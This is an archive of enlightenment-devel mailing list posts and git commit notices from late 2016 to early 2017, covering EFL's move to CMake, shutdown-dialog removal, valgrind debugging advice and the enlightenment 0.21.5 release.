SlashDot.org! http://sdm.link/slashdot > _______ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Weekend project: distro-builder
On 01/31/2017 10:37 PM, ani...@astier.eu wrote: > Over the years, the dependency list for EFL has grown quite a bit. As a > results, it's often been a pain to build the whole thing from git as a > new developer (if you don't want to use your distro packages). > You have to figure out what to install, by finding which package > correspond to the libs described in the Requirements section of the > README[1]. Or to apt-get build-dep old dependencies based on the current > package. Or, you can try to follow the outdated docs on the wiki[2] > for your distro. > > I have tried updating those docs once[3] using a bare distro, in order > to make sure we have the full list of needed dependencies. > > What would be better would be to make sure the process I used to verify > the dependency list is reproductible, so that we could simply document > the dependencies for each distro. That's where distro-builder comes in: > https://github.com/anisse/distro-builder > > It's a relatively simple script that currently builds efl and > terminology on fedora 24/25, debian stretch and ubuntu 16.04/16.10. > > The final goal would be to have this script and the dependency files in > the efl tree, and running it regularly, possibly on CI. > > It could even help making sure the current cmake transition goes > smoothly on different distros :-) > > I'm looking forward to your feedback. > > Anisse > > [1] https://git.enlightenment.org/core/efl.git/tree/README?h=v1.18.4#n444 > [2] https://www.enlightenment.org/docs > [3] > https://git.enlightenment.org/website/www-content.git/commit/pages/distros/fedora-start.txt?id=a640068093a40797386716d500484ffc2b325fec > On openSUSE atleast you can just install then uninstall efl-devel this will pull in all the deps automatically as the packages are kept up to date. Alternately the current list is available here, https://build.opensuse.org/package/view_file/X11:Enlightenment:Factory/efl/efl.spec?expand=1 Cheers -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] [EGIT] [core/enlightenment] master 01/05: e sys - remove system action dialogs as comp actually does this
On 01/30/2017 01:06 PM, Carsten Haitzler (The Rasterman) wrote: > On Mon, 30 Jan 2017 08:24:05 +1030 Simon Lees said: > >> Morning Raster >> >> I think this is still useful, It shows when you have an application like >> libreoffice or firefox blocking the shutdown giving an indication that >> something is actually happening, animations etc don't show up until >> after the final application is shown. (Yes i'm too lazy to close most >> applications before logging out). > > does it show that that is a problem? all it does is show what is blocking you? > i think this can just be done another way. > > that sys thing was an actual window that was "borderless" which it shouldnt > really be. i actually never hit something blocking my shutdown/reboot/logout > so > i never see the problem... but i know from simulating it that you are pretty > much left to figure it out yourself and it takes a while to timeout. > > what probably should happen is: > > 1. have a very short timeout (< 5 seconds - maybe 2 or 3) which should > negate > any need for any status. reality is any app should respond within this time > unless it's being really bad (either it's hung, swapped out due to very low > memory and a lot of it has to be swapped in for it to shut down, or it's doing > a "are you sure you want to exit with unsaved changes" kind of refusal to > close) > > 2. any windows that have not been closed by timeout, the user should be > taken > to and shown. > > #1 is a very quick fix. #2 is more of a feature add. > > i just really don't want to bring back those dialogs. they are from long > before > we did any compositing and so showing a "dialog" was pretty much the extent of > things we could really do nicely. admittedly i'm mostly interesting in the > suspend/hibernate as i really see no point having a dialog there as fading to > black is the slick thing to do because when you suspend or hibernate... that > is > the ultimate state of the screen in 99.9% of cases. same on shutdown and > reboot > and even on logout i would EXPECT whatever you log out to (likely the login > manager) to then restore the screen by "fading in from black" as that is what > would happen generally on boot and it's the one state i think everyone can > agree on as an assumed previous state (also black/off/backlight off is > where you can reconfigure resolutions and other modes and not have visible > artefacts if done right). :) so the only issues would be if 1. > suspend/hibernate/reboot/shutdown/logout is not working (and likely a lower > system issue in all cases EXCEPT the "apps refusing to exit cleanly" case). > > so how to deal with apps refusing to exit? we can definitely do it better than > we did before. > Currently there is a dialog that comes up after a few seconds which gives you the option to cancel the logout or ignore those apps and logout anyway, if you make no decision after 1 minute it will logout anyway, this is really good behavior. Normally I press the logout now button but occasionally I find myself going oh crap I meant to save that or I forgot I had that virtual machine running, i'm going to cancel the logout fix the issues then logout again. As long as that behavior is kept I don't mind, As for taking the user there, thats harder then you think. Given I normally have 5 firefox windows (across several virtual desktops), Libre office on another virtual desktop and hexchat on another, all that will block shutdown how do you take me to all of them? half will launch a popup on the current desktop anyway. An extra nice feature might be adding a list of programs that block shutdown to an ignore list. For example firefox will always ask about closing X tabs and Hexchat will always ask about leaving networks i'm still connected too and in both these cases I don't really care where as if thunderbird does that means I have a draft email I forgot to send and i'd generally like to cancel the shutdown to make sure its sent. >> On 01/02/2017 08:25 PM, Carsten Haitzler wrote: >>> raster pushed a commit to branch master. >>> >>> http://git.enlightenment.org/core/enlightenment.git/commit/?id=8b9fee916ec3dfe5f60c0c4eabe187f500ee5b96 >>> >>> commit 8b9fee916ec3dfe5f60c0c4eabe187f500ee5b96 >>> Author: Carsten Haitzler (Rasterman) >>> Date: Thu Dec 29 21:14:28 2016 +0900 >>> >>> e sys - remove system action dialogs as comp actually does this >>> >>> so we have some dialog saying we're suspending/shutting down etc. etc. >>> and this is really pointless as comp already does a screen-wide e
Re: [E-devel] [EGIT] [core/enlightenment] master 01/05: e sys - remove system action dialogs as comp actually does this
Morning Raster I think this is still useful, It shows when you have an application like libreoffice or firefox blocking the shutdown giving an indication that something is actually happening, animations etc don't show up until after the final application is shown. (Yes i'm too lazy to close most applications before logging out). On 01/02/2017 08:25 PM, Carsten Haitzler wrote: > raster pushed a commit to branch master. > > http://git.enlightenment.org/core/enlightenment.git/commit/?id=8b9fee916ec3dfe5f60c0c4eabe187f500ee5b96 > > commit 8b9fee916ec3dfe5f60c0c4eabe187f500ee5b96 > Author: Carsten Haitzler (Rasterman) > Date: Thu Dec 29 21:14:28 2016 +0900 > > e sys - remove system action dialogs as comp actually does this > > so we have some dialog saying we're suspending/shutting down etc. etc. > and this is really pointless as comp already does a screen-wide effect > like fading out etc. and these dialogs were added long before we had a > compositor. there isn't much point anymore so remove them and let comp > deal with it. > --- -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] cmake attempt
On 01/25/2017 08:40 PM, Andrii Kroitor wrote:
> Hello
>
> I'm very excited to see steps towards CMake :)
> Is there any reason to limit minimum version to 3.7? Current unbuntu
> release has cmake version 3.5.1 included.
> Looks like with 3.5 cmake step passes ok, but build fails on eo files
> generation. I'm wondering if it is because of some missing cmake
> features or simply because work is in progress.
>
It would be good to target something that most distro's have, from
memory there arn't many new features after 3.1 so maybe thats a version
worth targeting.
>
> On 20.01.17 01:17, Gustavo Sverzut Barbieri wrote:
>> Hi all,
>>
>> Marcel Hollerbach did a nice work and started a branch
>> devs/bu5hm4n/cmake-port
>>
>> After some review, I shared my experience with CMake and did a
>> complement trying to simplify it: devs/barbieri/cmake
>> (https://git.enlightenment.org/core/efl.git/log/?h=devs/barbieri/cmake)
>>
>> As you can see, complexities are hidden from the user using some
>> macros/functions defined in cmake/helper/EflMacros.cmake
>>
>> At the toplevel directory you simply say: EFL_LIB(eina)
>>
>> Then the macro will include whenever appropriate
>> src/{lib,bin,modules,tests}/eina and do the right action. You can see
>> from sub-CMakeLists.txt how simple they become, basically define some
>> variables (which makes it simpler for us to change to a new build
>> system next time).
>>
>> There are some restrictions in that, which I'd like to keep and
>> instead of work-around in the build system, change the code to reflect
>> that:
>>
>> - one library per directory, offenders are efreet_mime/efreet_thrash
>> and possibly others;
>>
>> - modules should install
>> ${libdir}/${libname}/modules/${scope}/${modname}/v-${VMAJ}.${VMIN}/module.so,
>> currently some libs miss "/modules", like ecore/system
>>
>> If you want to try it out, be aware that binaries are still not
>> handled and eina_suite still doesn't work. And I'm forcing out-of-tree
>> builds, so we fix that for once and for all:
>>
>> mkdir -p build && cmake -H. -Bbuild && cd build && make
>>
>> To address raster's complains about hard targets and so on:
>>
>> make eina
>>
>> builds eina checking dependencies, while:
>>
>> make eina/fast
>>
>> doesn't check dependencies, this is in GNU Make. Ninja doesn't offer such
>> rule.
>>
>> I'm also offering targets for modules and tests:
>>
>> make eina-tests
>> make eina-modules
>>
>> Everything should be placed in build/lib, build/bin and so on, so it
>> will mimic the system installation and eina_prefix should be able to
>> work (we're still missing the 'checkme' files).
>>
>> Although I know cmake from my years-ago usage, I'm not an expert that
>> works with it every day, thus review of the CMake, particularly the
>> macros is very helpful.
>>
>> >From an user (EFL developer that doesn't mess with build system) point of
>> >view:
>>
>>- library configuration checks and options (cmake/config/eina.cmake):
>> https://git.enlightenment.org/core/efl.git/tree/cmake/config/eina.cmake?h=devs/barbieri/cmake&id=c15eca03344e9bc1e602769c4af6e3c2ae2cc405
>> The idea is to isolate these complexities from source/headers as very
>> few people will need to look at configure, but most developers need to
>> touch file list.
>>
>>- library sources, headers (src/lib/eina/CMakeLists.txt):
>> https://git.enlightenment.org/core/efl.git/tree/src/lib/eina/CMakeLists.txt?h=devs/barbieri/cmake&id=c15eca03344e9bc1e602769c4af6e3c2ae2cc405
>>
>> - library module (src/modules/eina/mp/pass_through/CMakeLists.txt):
>> https://git.enlightenment.org/core/efl.git/tree/src/modules/eina/mp/pass_through/CMakeLists.txt?h=devs/barbieri/cmake&id=c15eca03344e9bc1e602769c4af6e3c2ae2cc405
>>
>> - library unit tests (src/tests/eina/CMakeLists.txt):
>> https://git.enlightenment.org/core/efl.git/tree/src/tests/eina/CMakeLists.txt?h=devs/barbieri/cmake&id=c15eca03344e9bc1e602769c4af6e3c2ae2cc405
>>
>> As you can see these files are very small, they basically define
>> SOURCES, HEADERS, DEPENDENCIES, LIBRARIES... variables and these are
>> used to execute CMake specific targets, set properties, etc.
>>
>> If we can settle on one-lib-per-dir, then we can even simplify those
>> and remove ${libname}_ prefix, as done by modules we could s
Re: [E-devel] cmake attempt
On 01/24/2017 10:16 AM, Carsten Haitzler (The Rasterman) wrote: > On Mon, 23 Jan 2017 16:50:04 -0200 Gustavo Sverzut Barbieri > said: > >> Hi all, >> >> Just merged the branch Marcel and I were working (actually we couldn't >> share a branch since we cannot push to other developer's branch and we >> cannot create a shared one). >> >> We'll work in tree, so we avoid conflicts as we do renames and change >> the #defines. >> >> See TODO-cmake.txt on how you should help. > > hey just a sec... do we have to do this NOW? for now we've been discussing > "is > it possible" and "how can it be done" and "here's a test". we haven't > discussed > when we should do this and a final "how" i guess... so before leaping into > it... let's make sure everyone is ont he same page... > > you're working entirely in a branch atm or in master? i am reading my morning > email and haven't looked at git commits yet... > Well now is a good time given that people are actually doing it which means I guess they have time maybe in 3 months they wont, also no one has been jumping up and down for a release but I guess we are meant to be hitting a stabilization period before a release sometime soon. Its probably as good a time as any though. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] build system
On 01/17/2017 12:30 AM, Gustavo Sverzut Barbieri wrote: > Hi Raster, > > - waf/meson/jam and I'd add http://gittup.org/tup/: all look nice, > but I have not much experience. Not that much used and seems to only > cover a subset as well. (tup is nice since they can run an > inotify-based daemon that monitors for changed files... which helps *a > lot*). > How many major distro's are shipping these out of the box? we don't really want to add another hurdle to users building by needing to manually install a build system first, we also don't want to add a hurdle to distro packagers in needing to package a new build system just to package efl (most distro's will require the build system to be packaged). > > I'd *NOT* go with glue in shell because that usually needs lots of > complex data structures to simplify the code, otherwise you waste lots > of time working around poor hash support to do it in shell... Pure > shell would also not be my favorite tool to write the build system per > se since tracking parallel tasks with it is more complex than with > make/ninja or other tools meant for that. > I'd agree with that as well, -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] build system
On 01/16/2017 01:00 PM, Carsten Haitzler (The Rasterman) wrote:
> I'm going to bring this up as it's highly controversial... and not everyone is
> going to be happy, but doing NOTHING is worse.
>
>
> I propose that whatever we come up with should support at minimum the
> following
> build system "features":
>
> * configure --prefix=XXX
> * configure --bindir=XXX
> * configure --sysconfdir=XXX
> * configure --libdir=XXX
> * configure --includedir=XXX
> * configure --datadir=XXX
> * configure --localedir=XXX
> * configure --mandir=XXX
> * configure --docdir=XXX
> * at least all the relevant configure features we added for efl
> * make (from any dir/subdir)
> * make install
> * make uninstall
> * make DESTDIR=xxx
> * make dist
> * make distcheck
> * make check
> * cross-compiling (--host=XXX --build=XXX)
> * gettext support
>
I'm feeling lazy but the output of openSUSE's cmake rpm macro is the
following and will answer some questions, cmake doesn't support make
dist out of the box, you could write a custom one or use something
called cpack (i've never used it), most projects just do a clean
checkout and tar it up and ship the tarball. "make check" can be done
with a custom command in cmake, cross compiling is also certainly supported.
-DCMAKE_INSTALL_PREFIX:PATH=/usr \
-DINCLUDE_INSTALL_DIR:PATH=/usr/include \
-DLIB_INSTALL_DIR:PATH=/usr/lib64 \
-DSYSCONF_INSTALL_DIR:PATH=/etc \
-DSHARE_INSTALL_PREFIX:PATH=/usr/share \
-DCMAKE_INSTALL_LIBDIR:PATH=/usr/lib64 \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS="${CFLAGS:--O2 -g -m64 -fmessage-length=0
-D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables
-fasynchronous-unwind-tables} -DNDEBUG" \
-DCMAKE_CXX_FLAGS="${CXXFLAGS:--O2 -g -m64 -fmessage-length=0
-D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables
-fasynchronous-unwind-tables} -DNDEBUG" \
-DCMAKE_Fortran_FLAGS="${FFLAGS:--O2 -g -m64 -fmessage-length=0
-D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables
-fasynchronous-unwind-tables} -DNDEBUG" \
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--as-needed -Wl,--no-undefined
-Wl,-z,now" \
-DCMAKE_MODULE_LINKER_FLAGS="-Wl,--as-needed -Wl,--no-undefined
-Wl,-z,now" \
-DCMAKE_SHARED_LINKER_FLAGS="-Wl,--as-needed -Wl,--no-undefined
-Wl,-z,now" \
%if "lib64" == "lib64"
-DLIB_SUFFIX=64 \
%endif
-DCMAKE_SKIP_RPATH:BOOL=ON \
-DCMAKE_VERBOSE_MAKEFILE:BOOL=ON \
-DBUILD_SHARED_LIBS:BOOL=ON \
-DBUILD_STATIC_LIBS:BOOL=OFF \
-DCMAKE_COLOR_MAKEFILE:BOOL=OFF \
-DCMAKE_INSTALL_DO_STRIP:BOOL=OFF \
-DCMAKE_MODULES_INSTALL_DIR=/usr/share/cmake/Modules
--
Simon Lees (Simotek)http://simotek.net
Emergency Update Team keybase.io/simotek
SUSE Linux Adelaide Australia, UTC+10:30
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B
signature.asc
Description: OpenPGP digital signature
--
Developer Access Program for Intel Xeon Phi Processors
Access to Intel Xeon Phi processor-based developer platforms.
With one year of Intel Parallel Studio XE.
Training and support from Colfax.
Order your platform today. http://sdm.link/xeonphi___
enlightenment-devel mailing list
enlightenment-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] [e-users] Help me get Terminology 1.0 out!
On 01/08/2017 03:53 AM, Boris Faure wrote: > On 17-01-02 19:45, Boris Faure wrote: > > Hi fellow Terminology enthusiasts! > > I'm a bit behind my proposed schedule due to a strong cold. > > Since no major issue was raised, I decided to generate a release > candidate. > > I've uploaded tarballs there: > - https://download.enlightenment.org/pre-releases/terminology-1.0.0.tar.gz > - https://download.enlightenment.org/pre-releases/terminology-1.0.0.tar.xz > > Please test them and report any issue you may encounter! > > My updated plan is to do the final v1.0.0 release in the middle of next > week. > > Happy testing! > > Best Regards > I've created an openSUSE package and it seems to function fine, will let you know if I find anything. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Moksha / E17 Crash with EFL 1.18.4
On 01/09/2017 08:50 AM, Jeff Hoogland wrote: > How does valgrind differ from Xephyr? Is there a wiki page explaining how > to do what you are suggesting? > valgrind and Xephyr are too completely different things doing unrelated things, in enlightenments case its best that if you are running enlightenment under valgrind you run it in Xephyr because its going to be close to too slow to use. Xephyr lets you run an xsession such as enlightenment within a window of another running xsession so you can run a instance of e in a window inside another instance of e. Valgrind is a memory debugging tool it tracks when blocks of memory are allocated and deallocated by doing this it can tell you when a block of code read / writes to invalid memory regions causing memory corruption which is likely whats causing your bug. Generally in code this happens when you have a pointer stored in 2 or more places and place one frees its memory but place 2 then decides to use it again later once the memory has been allocated to something else. > On Fri, Jan 6, 2017 at 2:39 AM, Carsten Haitzler > wrote: > >> On Fri, 6 Jan 2017 02:21:10 -0600 Jeff Hoogland >> said: >> >>> Having some users report segfaults with our E17 fork using the latest EFL >>> under our Ubuntu 16.04 base. >>> >>> Had someone run a back trace and post it here >>> <http://forums.bodhilinux.com/index.php?/topic/14036-moksha- >> segfault/?p=102195>. >>> Looks like it is dying in the EFL somewhere? I'm honestly not great at >>> debugging C code - anyone help point me in the right direction? >> >> the backtrace is "long after the bug already happened". the malloc heap is >> corrupt. libc has detected something is wrong and aborted during an >> allocation. >> what caused the issue is unknown. it could be efl. could be e. could be >> libpng. could be just about anything. it is unknown. the best way to find >> out >> who is doing this is to use valgrind to run execution and it can trap >> out-of-allocation writes and tell you the exact point where this write is >> done. >> that would provide the info needed to fix if it isn;'t already fixed in >> git efl >> - if the issue is there. if the issue is in e17 it'd point that out too. or >> wherever else it is. >> >> -- >> - Codito, ergo sum - "I code, therefore I am" -- >> The Rasterman (Carsten Haitzler)ras...@rasterman.com >> >> > > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Unable to build EFL nor from stable nor from git
On 01/01/2017 12:56 PM, Carsten Haitzler (The Rasterman) wrote: > On Sat, 31 Dec 2016 07:24:50 -0800 Jose R R said: > >> >> Any insight appreciated. > > openssl of late has ben going around breaking api within a minor version > release, and that has caused out builds to fail. downgrading openssl is the > easiest option at this point. > given that is likely to produce binary compat issues with other libs / apps being built against the newer version I guess rather then co installing the easier option is to build / install the old version to /opt or /usr/local and tell efl to get it from there. Strangly debian jumped to the new openssl before everyone else and have created a rather large mess until the rest of the world catches up. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Hosting for new theme site
On 12/16/2016 08:34 PM, Andrew Williams wrote: > Hi, > > The hosting is now working, we just had a little blip earlier. It's waiting > on me to polish the client app a little before announcing. > I would have done it already but have been moving house. Fingers crossed > for some coding this weekend. > I guess i should finish this theme then. > Andrew > On Fri, 16 Dec 2016 at 09:59, Stefan Schmidt wrote: > >> Hello. >> >> On 08/10/16 01:55, Bertrand Jacquin wrote: >>> Hi Andrew, >>> >>> I still have you previous email tagged. I need some time to focus on >>> this. I'll be out for the next two weeks and will be working on that >>> when I come back. Keep in mind that's a low priority for me but we >>> should be able to get this done before the end of the year. >> >> Ping? >> >> I fear that all the work Andy did on getting this theme stuff working >> will just vanish if we are not able to get the hosting setup. >> >> regards >> Stefan Schmidt >> > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, SlashDot.org! http://sdm.link/slashdot > _______ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Enlightenment Wayland bugs
On 12/12/2016 01:45 PM, Carsten Haitzler (The Rasterman) wrote: > On Sun, 11 Dec 2016 12:27:10 +0300 Vasiliy Tolstov said: > >> Also in terminology windows and other e windows (settinal and other) i >> have very big mouse pointer =( > > you really have to follow efl and e git for wayland.. and even then it changes > on a daily or weekly basis. wayland support is still not "prime time ready to > go" yet. it's being worked on. > Having said that by far the biggest percentage of bug fixes going into stable enlightenment releases are wayland related so stuff thats found and reported may well get fixed unless it also requires efl changes which seem to be going through less often. >> 2016-12-11 6:19 GMT+03:00 Vasiliy Tolstov : >>> Hi, I'm use latest released e and efl and try Wayland. Some issues blocks me >>> from using Wayland >>> * keyboard switching via menu key not works (menu key handled via e and >>> opens menu) >>> * sometimes windows can't be closed >>> * sometimes window duplicates and I have 3 identical windows but only one >>> can be used and react to key input. >> >> >> >> -- >> Vasiliy Tolstov, >> e-mail: v.tols...@selfip.ru -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today.http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] [EGIT] [core/enlightenment] enlightenment-0.21 01/01: Merge branch 'enlightenment-0.21' of git+ssh://git.enlightenment.org/core/enlightenment into enlightenment-0.21
Sorry all, I stuffed up and forgot to push after the 0.21.5 release, On 12/12/2016 08:01 AM, Simon Lees wrote: > simotek pushed a commit to branch enlightenment-0.21. > > http://git.enlightenment.org/core/enlightenment.git/commit/?id=caade0432ad7fab45466025435bb81ea933491bb > > commit caade0432ad7fab45466025435bb81ea933491bb > Merge: bad8619 f6292eb > Author: Simon Lees > Date: Mon Dec 12 08:00:11 2016 +1030 > > Merge branch 'enlightenment-0.21' of > git+ssh://git.enlightenment.org/core/enlightenment into enlightenment-0.21 > > src/bin/efx/efx_fade.c | 1 + > src/bin/efx/efx_move.c | 1 + > src/bin/efx/efx_resize.c | 1 + > 3 files changed, 3 insertions(+) > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today.http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 01/01: Merge branch 'enlightenment-0.21' of git+ssh://git.enlightenment.org/core/enlightenment into enlightenment-0.21
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=caade0432ad7fab45466025435bb81ea933491bb commit caade0432ad7fab45466025435bb81ea933491bb Merge: bad8619 f6292eb Author: Simon Lees Date: Mon Dec 12 08:00:11 2016 +1030 Merge branch 'enlightenment-0.21' of git+ssh://git.enlightenment.org/core/enlightenment into enlightenment-0.21 src/bin/efx/efx_fade.c | 1 + src/bin/efx/efx_move.c | 1 + src/bin/efx/efx_resize.c | 1 + 3 files changed, 3 insertions(+) --
[EGIT] [core/enlightenment] v0.21.5 01/02: 21.5 Release
simotek pushed a commit to annotated tag v0.21.5. http://git.enlightenment.org/core/enlightenment.git/commit/?id=06d7531019ddf8378a886b74f41f832c496e399a commit 06d7531019ddf8378a886b74f41f832c496e399a Author: Simon Lees Date: Thu Dec 8 11:22:18 2016 +1030 21.5 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index a3a2ec6..2e9588d 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [4]) +m4_define([v_mic], [5]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.4]) +m4_define([relname], [0.21.5]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
[EGIT] [core/enlightenment] v0.21.5 02/02: 21.5 NEWS Updates
simotek pushed a commit to annotated tag v0.21.5. http://git.enlightenment.org/core/enlightenment.git/commit/?id=bad861979889d5ffa63747e787ba329758f754b0 commit bad861979889d5ffa63747e787ba329758f754b0 Author: Simon Lees Date: Thu Dec 8 11:33:33 2016 +1030 21.5 NEWS Updates --- NEWS | 27 +++ 1 file changed, 27 insertions(+) diff --git a/NEWS b/NEWS index 9145f6b..0aed663 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,30 @@ +Release 0.21.5: +- +Carsten Haitzler (1): + e_util_defer_object_del - ensure order of deferred deletions are right + +Christopher Michael (1): + remove unused variables in e_comp_wl + +Derek Foreman (5): + Fix keyboard tracking when leaving an xdg shell window + Fix crash when exiting an xdg shell application + More aggressively prune keyboard focus list + Stop sending key up/down events on focus change under wayland + test dmabuf pixmaps properly + +Mike Blumenkrantz (10): + handle xdg-shell maximize/unmaximize calls correctly + stack subsurfaces above their parents upon creation + use more accurate determination for applying xdg-shell (un)maximize operations + do not pop pointer types on client hide events if the client is pass_events + set wl pointer surfaces to E_LAYER_CLIENT_PRIO during setup + attempt to re-set wl surface pointer when popping back to "default" pointer type + fix internal wl windows to exit when border X is clicked + use better check for getting wl surface alpha from cursor pixmaps + revert all sizing commits to ibar/ibox for the past year + maintain "empty" object's size hints when ibar/ibox resizes + Release 0.21.4: - Al Poole (1): --
Re: [E-devel] Pre-release tarballs for efl 1.18.4
